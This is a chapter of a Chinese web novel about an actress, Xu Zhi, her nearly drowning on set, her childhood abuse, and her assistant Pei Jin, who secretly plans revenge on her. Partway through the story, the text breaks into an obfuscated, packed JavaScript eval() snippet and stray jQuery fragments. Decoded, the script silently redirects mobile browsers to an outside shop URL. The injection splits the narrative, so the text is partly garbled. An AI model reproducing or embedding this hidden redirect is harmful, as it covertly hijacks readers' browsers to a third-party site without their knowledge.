文趣网 > 其他小说 > 猫戏 > 6. 报复
    这场饭吃得很融洽,裴近和徐知话都不多,但王小冉很会活跃气氛,情商也很高,会看别人的表情恰到好处地讲话和住嘴。

    徐知也了解到,王小冉在清大读大三,也是法学专业,这是她拍的第一部戏。

    次日三人便一起回到组里。王小冉饰演陈耀的老婆柚柚,她的到来也意味着剧组该转场到市内了,校园部分即将结束。

    “大家好,我是王小冉,大家多多关照!”

    王导对小冉的状态很满意,说:“小冉啊,你跟朴俊熟悉熟悉,你俩对手戏多。”

    “好嘞!遵命!”王小冉说。

    剧组转场上海市内的这天,天气晴朗。

    所有人都先后搬进了新酒店,一直收拾到晚上。夜幕低垂,整栋酒店像一尊被精心切割的黑曜石,棱角分明地矗立在城市最昂贵的地段。

    导演在酒店楼下哈哈笑了一声,抬手拍了拍裴近的肩膀,“没想到我拍戏能住花筑,哈哈哈。”

    “哦?这跟裴哥有关系?”王小冉很受胡总重视,自带了司机和助理,他们正在帮忙运着行李,她走上前。

    “小冉啊,你是不知道,这酒店一般剧组住不起,但是裴近谈下来的价钱比我们去住其他地方预算还少了一半呢!你说他厉不厉害哈哈哈!”

    “哇,好厉害,我在学校还经常听说师哥的名字,他搞辩论也很厉害,怪不得能谈价钱呢。”

    辩论?徐知看了眼沉默的裴近,有点想象不出他辩论起来是什么样子。

    裴近注意到她的视线,不禁扶额苦笑。

    没有那么麻烦,他就是跟周姐打了个电话,周姐虽然呸了他一声,诉说自己重新设计并制作一条压轴裙子多麻烦,要把他千刀万剐再去跟裴姨告状,但最后还是帮他搞定了酒店的事。

    徐知走到大厅,这才注意到酒店的招牌,花筑?

    初二时,在江苏小镇上学的徐知参加了一次去上海的春游,早上五点去,晚上天黑了就坐车回学校。徐知迫切地和包子分享自己第一次出市的喜悦。

    -徐知:我们今天去上海玩了呢!

    -包子:......

    -徐知:这是我第一次出这么远的门。

    -包子:有什么好玩的吗?

    -徐知:当然啦,我们看了东方明珠,在那里合影,还去了......我忘了。

    -包子:......

    -徐知:我们回来的时候天黑了,但我看到车窗外闪过一个好大好高的楼啊,特别好看,有个“花”字,也不知道是什么楼。

    -包子:你都没想起来我在上海吗?

    徐知愣了一下,啊一声,才心虚地回复。

    -徐知:我忘了......不过我们都是跟着老师的,也没机会找你玩。

    包子没有回复,一直到了五分钟后。

    -徐知:要不这样,下次你来我们这儿,我带你玩。

    -包子:说好了哦。

    -徐知:嗯!我请你吃我奶奶包的豆腐包子,特别好吃,世上第一好吃。

    -包子:我对包子很挑剔的,而且你奶奶待你那么差。

    -徐知:没事啦,她平常待我很好的,你不用怕,我只要不犯错就可以了。

    导演为了充分利用酒店资源,都市第一场戏的拍摄被临时改在了酒店饭店和泳池里。

    罗欣欣在一家餐厅碰见了隔壁桌的陈耀,她本来和同事侃侃而谈,却在触及陈耀的目光时吓得躲在了桌子下!

    另一幕,罗欣欣在泳池发现了一旁的陈耀,急得跳进了水里!

    “action!”

    徐知刚被桌子磕了几次头,现在又是在水里憋气,可她憋不了太久,没一会儿就得冒出来。

    王导怒道:“卡!徐知你能不能停个五秒再出来!很难吗?!”

    “对不起导演。”

    “action!”

    “卡!”

    “对不起。”

    “action!来十秒!”

    “十五秒!”

    徐知也不知道过去了多少秒,意识逐渐涣散,只听见有人喊着自己的名字,被带到一个温热的怀抱里。

    徐知迷迷糊糊时,想起来初二时,她为了融入同学们去水上乐园玩,却被遗忘在了水里,她不会游泳,被路人救了起来。

    -包子:你真的很没用,为什么需要这样的朋友?

    他说话总是不好听,都不知道安慰她一下。

    周边传来几声惊呼,徐知猛地呛了几口水,睁开眼睛看到了面前的裴近,他浑身湿透,神情紧张,眼里有她看不懂的东西。

    见她醒了,裴近呼出一口气,缓了缓起伏的胸膛。

    他冷冷地侧看向一旁的花絮摄影师,“不要拍了。”

    摄影师讪讪地收起镜头,讨好地笑着。四周举起的手机触到裴近的神情后也瞬间落下,急忙围过来关心。

    “哎呀,徐知你没事吧?”

    “你怎么都不做手势啊!我们还以为你在演呢!”

    “裴近你没事吧?快回去别感冒了。”有人送来条毛巾,裴近接过披在了徐知身上。

    因为她溺水的事,王导让她休整片刻再继续拍摄,也没再骂她。

    “也真是搞笑,好好的还能溺水。”道具老师冷笑道,真是白白浪费那么多时间。

    片场里最烦的事就是等,等光、等天晴、等处理演员的突发状况。

    刘音瞥了他一眼,“我说你别对人家有太多偏见了,人家也没做错什么。”

    吐槽完徐知,道具老师开始蹲在墙角刷手机,没一会儿就靠着器材箱睡着了。

    他的手机险些从手中滑落,刚洗完澡收拾完回来的徐知眼疾手快地接住,小心翼翼地放在一旁的桌子上。

    “什么?!你说他不演了?!你逗我呢?”

    凌晨一点才收工,监视棚内,王导怒气冲冲地对着一个工作人员吼。

    “实在是没办法,他们说艺人脚崴了……”

    王导心烦意乱,冲他甩手让他滚。

    王导往外走了几步,眼睛一转:“小徐啊,你过来,我跟你商量个事。”

    徐知正在收拾随身包,听到呼唤走过去。

    “刚接到通知说男二来不了了,你看能不能让你家助理救个场?”

    徐知没料到:“我……我去问问他吧。”

    王导似乎不满意,面色瞬间变了,他的声音猛然拔高,徐知被吓了个哆嗦:“我不是让你问他,你要表示你同意,他自然就同意了啊!你要去拜托他,你说你希望他演!”

    王导再傻也能看出来裴近对他家艺人的态度。

    王导看了眼四周,咳了一声,语气又放缓,“我等你消息啊。”

    裴近问正在收器械的工作人员:“请问徐知去哪里了?”

    “不知道。”大家都摇摇头。

    他在泳池边找到了她。

    月光斜斜地照在她单薄的身子上,她太瘦了,仿佛下一秒就被风给吹走。

    “裴近,你想演戏吗?”她没有回头,察觉到脚步声是他,声音轻轻的。

    “怎么这么问?”

    裴近走过去,坐在她旁边。

    徐知把导演的意思告诉他,当然,省掉了骂自己的部分。

    裴近沉思几秒,说:“你想让我去演戏吗?”

    徐知点点头。她能看出来裴近热爱也擅长表演。

    “真的吗?”裴近看着她。

    徐知扭头看他一瞬,又移开目光,点点头。

    “裴近,我是一个很胆小的人,成为一个演员是我做过唯一勇敢的事。”

    “我觉得你有演戏的潜能,这会是一个好出路,但你不要因为我的看法就决定你的发展方向,无论我想不想你做什么事。”

    “这么多天以来,你无微不至,教我如何入戏、调节情绪,我很感激你,即使你辞掉这个工作,我们依旧是朋友。”

    裴近罕见地沉默,清风抚过他前额的头发。

    良久,他开玩笑说:“我的大明星怎么可以没个好助理呢?”

    回到卧室,导演的电话打来。

    徐知还未说话,上来就被劈头盖脸骂了一顿:“徐知,你怎么一点消息都没有,明天就要拍了,是你不肯放他走吧,你要顾全大局啊!你自己演戏差也就算了,别因为你裴近又演不了戏!不要一错再错,做个助理有什么前途啊!”

    “我……”电话被挂断。

    错。

    恍惚间,徐知想起了小时候。

    她的人生,容不下“犯错”这两个字。

    自从父母去世后,小时候她总是被锁在家门外,炽热的夏夜,寒冷的雪夜,求着奶奶开门,问自己做错了什么。

    如果问不出来,就是自己做错了所有事,幼小的她只能跪在门前重复着“我错了”,乞求原谅。

    门口传来敲门声,“知知姐,吃饭了。”

    徐知没有说话。

    裴近想打开门却发现反锁了,他轻声:“徐知,你怎么了?”

    过了一刻,徐知蹲在地上,声音颤抖:“裴近......”

    求你把我的记忆抹去,求你早一点出现在我的生命里。

    门外一片死寂。

    那时候,奶奶只会喃喃重复一句话,布满皱纹的脸上一道血流刺目,“你不要像你妈一样。”

    雪天里,天和地是同一个颜色,死灰一样的白,雪粒打在脸上,像细小的针,刺得她永远无法忘记。

    良久,徐知抹掉眼泪,打开门,低着头说:“对不起。”

    裴近看着她,叹了一口气,微微弯下腰,低头凑近看着她。

    就是在这时,徐知第一次发现裴近身上有喷香水,是淡淡的冷水味道,不凑近根本闻不出来,像是从他身体里渗出来的一样。

    他轻轻抚摸她的头发,又一次猜中她的心思,“你没有做错任何事。”

    徐知哭得有些头晕,眨了眨眼,忍着不适解释。

    问清了来龙去脉,裴近这才恍然大悟,满是歉意:“对不起,我不该那样开玩笑。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513499|203112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “认真想想,这也是个不错的机会,我愿意试试。”

    徐知抬起她雨雾般的眸子,“真的?”

    “嗯。”

    已经凌晨两点多了,胡总听说了这个消息,要连夜过来和他签演员合同,但裴近毕竟是法学生,看了电子合同后就指出需要修改的点。

    胡总完全没了平日里刁难人的模样,不会说“爱签签,不爱签就滚”,忙答应了。

    本想着合同修改好后要到明天再签,徐知已经打算睡下了,却听见咚咚的敲门声,连门铃都不按。

    打开门胡总挂着标准的微笑对裴近sayhi。

    迫不得已起床迎老板的徐知:......

    看到徐知,胡总的笑容更大了。

    裴近:“......请进吧。”

    合同是楼下现打的,还是热的。胡总在接到微信消息时就坐上了车,并在车上让助理修改条例,生怕晚一分钟裴近就飞了。

    助理王明浩也是苦命,被突然从梦乡里拽出来,他敲着电脑小声嘀咕:“您其实白天去也行吧。”

    他的声音很小,但胡总听到了也不恼,反而笑意浓浓:“这你就不知道了,我晚一点江董和裴总能马上飞过来阻止。”

    哼,这下你们连风声都没收到,我已经把你们儿子收入囊中了。

    把他签了,那些时尚资源,还有各种投资啊名导本子啊不都唾手可得了吗?

    裴近在签字前又确认了一些事项,胡总照单全收,他心情大好地接过徐知递过来的水。

    王明浩戴着厚厚的眼镜,一副老实人模样,接过水,低声道谢,偷偷瞟了眼徐知,不小心呛了口水,咳了几下。

    “没事吧?”徐知说。

    王明浩头摇得跟拨浪鼓一样,“没事没事。”

    他刚入公司没半年,还没亲眼见到这位“只是美人”。

    他把口水和水一并咽下,真好看啊。

    胡总颇有关切下属的君子模样,看着徐知说:“小徐啊,戏拍的怎么样?还适应吗?”

    “挺好的,裴近也很照顾我。”

    “哦对了,有一件事,裴近的薪水......”

    “咳。”

    徐知的话被打断,她不解地看向裴近。

    只见裴近无奈地一笑,没说什么。

    徐知也不继续说了。

    胡总的目光在两人之间流转,喉咙里滚着笑意。

    合同签了,最后,胡总甚至口头接受了裴近仍然做徐知的助理,至少在这个剧里。

    虽然徐知不理解,但见两人气氛格外好,现在也不好说些什么,只能告诉自己以后要少麻烦一下裴近。

    胡总临走时,视线掠过客厅里装的摄像头。

    “小徐小裴啊,你们对这个花絮啊别在意,就展现你们真实的生活就好,特殊情况可以关了。”

    “嗯,谢谢胡总。”

    胡总心情大好地出了酒店,一旁助理还没回神,上车门摔了一下。

    “瞧你这出息。”

    徐知是个难得的美人,身为签她的老板他当然知道,从她到上海上大学起,胡总就从学校官网的照片里关注到她了,好不容易介绍认识,才发现原来她也有意当演员,于是二人一拍即合。

    可惜啊,出道就演了个剧被吐槽演技差,是个花瓶。为了爱惜她的羽毛呢,他也不敢乱给她再接戏,才找了王导让徐知演这个女主,因为这个女主和她很像。

    但这是远远不够的。

    一个性格相似、貌似能演好的角色算不了什么。

    车内,窗外灯线掠过,胡总突然问:“你第一次见裴近吧,你觉得他人怎么样?”

    王明浩已经昏昏欲睡了,闻言强迫自己清醒,“啊,裴近啊。”

    “他挺帅的。”

    胡总:......

    他看了老板的脸色,觉得自己好像说了句废话,又清了下喉咙,“人也很好,很有礼貌,对徐知也很关照。”

    “果然是刚毕业的大学生啊,虽然对合同细节很谨慎,但眼里还有股清澈的劲儿。”他补充道。

    是啊,看似胡总在签约的条例上事事妥协,比如先只签3年,比如有权拒绝他主观上不意愿的工作......但谁占了便宜还不知道呢?从胡总的态度也能看出,裴近不是一般人。

    清澈?

    胡总不屑地嗤一声,嘴角露出讽刺的弧度。

    清澈吗?当初可是他主动找上门来的。

    而一向谨慎多疑的胡总都混到这种地位了,也不是小孩子,他自是不相信,可是裴近说服了自己。

    他太狠了。

    胡总不用调查他的背景,裴近就已经自我坦白了,把他查不到的父母是江耀集团的董事都说了出来,还说自己能提供一些人脉和资源。

    那他为什么要这样做呢?

    “具体的原因不方便说,但我恨她。”

    “所以在这件事上你完全不用有疑虑,我们可以达成共识。”

    共识嘛,就是他要报复,而胡总要她成名而已。